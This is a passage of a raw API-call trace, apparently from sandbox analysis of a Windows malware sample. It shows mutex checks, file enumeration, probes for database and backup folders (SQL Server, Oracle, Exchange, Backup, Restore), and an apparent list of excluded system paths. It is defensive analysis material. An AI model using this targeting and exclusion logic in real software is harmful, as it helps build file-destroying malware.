GlobalUnlock (hMem=0x44000c) returned 0 [0058.112] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.112] GlobalUnlock (hMem=0x440004) returned 0 [0058.112] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.112] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70079eb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70079eb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="userContent_16x9_imagemask.png", cAlternateFileName="")) returned 1 [0058.112] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.112] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.112] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.112] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.112] GlobalUnlock (hMem=0x440004) returned 0 [0058.112] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.112] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.112] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.112] GlobalUnlock (hMem=0x440004) returned 0 [0058.112] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.112] GlobalUnlock (hMem=0x44000c) returned 0 [0058.112] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.112] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemenu.png", cAlternateFileName="")) returned 1 [0058.112] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.112] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.112] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.112] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.112] GlobalUnlock (hMem=0x44000c) returned 0 [0058.112] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.112] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.112] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.112] GlobalUnlock (hMem=0x44000c) returned 0 [0058.113] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.113] GlobalUnlock (hMem=0x440004) returned 0 [0058.113] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.113] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemenu.png", cAlternateFileName="")) returned 0 [0058.113] GetLastError () returned 0x12 [0058.113] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0058.113] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets", cAlternateFileName="")) returned 1 [0058.113] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0058.113] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0058.113] GlobalLock (hMem=0x440004) returned 0x550170 [0058.113] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.113] GlobalUnlock (hMem=0x440004) returned 0 [0058.113] GlobalLock (hMem=0x440004) returned 0x550170 [0058.113] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.113] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.113] GlobalUnlock (hMem=0x440004) returned 0 [0058.113] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.113] GlobalUnlock (hMem=0x44000c) returned 0 [0058.113] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.114] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.114] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.114] GlobalUnlock (hMem=0x44000c) returned 0 [0058.114] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.114] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.114] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.114] GlobalUnlock (hMem=0x44000c) returned 0 [0058.114] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.114] GlobalUnlock (hMem=0x440004) returned 0 [0058.114] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.114] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets", len=0x30 | out: pbstr=0x18edc4*="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets") returned 1 [0058.114] GlobalLock (hMem=0x440004) returned 0x550170 [0058.114] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.114] GlobalUnlock (hMem=0x440004) returned 0 [0058.114] GlobalLock (hMem=0x440004) returned 0x550170 [0058.114] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.114] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.114] GlobalUnlock (hMem=0x440004) returned 0 [0058.114] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.114] GlobalUnlock (hMem=0x44000c) returned 0 [0058.114] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@쇲R쇆R企@\x18㾤Q\x18\x1b")) returned 0xffffffff [0058.117] GetLastError () returned 0x3 [0058.117] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\") returned 0x31 [0058.117] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0058.117] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\眵?\x18") returned 21 [0058.117] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="뱔R䱠@셤R企@\x18䃄Q\x181")) returned 0xffffffff [0058.119] GetLastError () returned 0x2 [0058.119] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\") returned 0x31 [0058.119] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0058.119] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="뱔R䱠@뭼R企@\x18?T\x18;")) returned 0xffffffff [0058.120] GetLastError () returned 0x2 [0058.120] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\") returned 0x31 [0058.120] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0058.121] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="뱔R䱠@삌R企@\x18?T\x18D")) returned 0xffffffff [0058.122] GetLastError () returned 0x2 [0058.122] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\") returned 0x31 [0058.122] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0058.122] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="뱔R䱠@셤R企@\x18뭼R\x18j")) returned 0xffffffff [0058.124] GetLastError () returned 0x2 [0058.124] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\") returned 0x31 [0058.124] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ae8, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵?\x18") returned 37 [0058.124] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="뱔R䱠@삌R企@\x18?T\x18q")) returned 0xffffffff [0058.125] GetLastError () returned 0x2 [0058.125] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\") returned 0x31 [0058.125] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\뭸RP") returned 6 [0058.125] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="뱔R䱠@몤R企@\x18?T\x18y")) returned 0xffffffff [0058.127] GetLastError () returned 0x2 [0058.127] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\") returned 0x31 [0058.127] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0058.127] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="뱔R䱠@셤R企@\x18?T\x18\x81")) returned 0xffffffff [0058.128] GetLastError () returned 0x2 [0058.128] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\") returned 0x31 [0058.128] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0058.128] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="뱔R䱠@삌R企@\x18?T\x18\x88")) returned 0xffffffff [0058.130] GetLastError () returned 0x2 [0058.130] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\") returned 0x31 [0058.130] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0058.130] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="뱔R䱠@몤R企@\x18?T\x18\x8f")) returned 0xffffffff [0058.131] GetLastError () returned 0x2 [0058.131] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\") returned 0x31 [0058.131] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0058.131] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="뱔R䱠@셤R企@\x18?T\x18\x97")) returned 0xffffffff [0058.133] GetLastError () returned 0x2 [0058.133] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\") returned 0x31 [0058.133] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0058.133] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.133] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.133] GlobalUnlock (hMem=0x44000c) returned 0 [0058.133] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.133] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.133] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.133] GlobalUnlock (hMem=0x44000c) returned 0 [0058.133] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.133] GlobalUnlock (hMem=0x440004) returned 0 [0058.133] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\") returned 0x31 [0058.133] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0058.133] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0058.133] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\") returned 0x31 [0058.133] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0058.133] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 46 [0058.133] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\") returned 0x31 [0058.133] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0058.133] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0058.133] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\") returned 0x31 [0058.134] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0058.134] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0058.134] GlobalLock (hMem=0x440004) returned 0x550170 [0058.134] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.134] GlobalUnlock (hMem=0x440004) returned 0 [0058.134] GlobalLock (hMem=0x440004) returned 0x550170 [0058.134] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.134] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.134] GlobalUnlock (hMem=0x440004) returned 0 [0058.134] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.134] GlobalUnlock (hMem=0x44000c) returned 0 [0058.134] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\") returned 0x31 [0058.134] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0058.134] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\") returned 0x31 [0058.134] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0058.134] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\") returned 0x31 [0058.134] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0058.134] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\") returned 0x31 [0058.134] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 18 [0058.134] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\") returned 0x31 [0058.134] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 28 [0058.134] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\") returned 0x31 [0058.134] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 10 [0058.134] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\") returned 0x31 [0058.134] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact 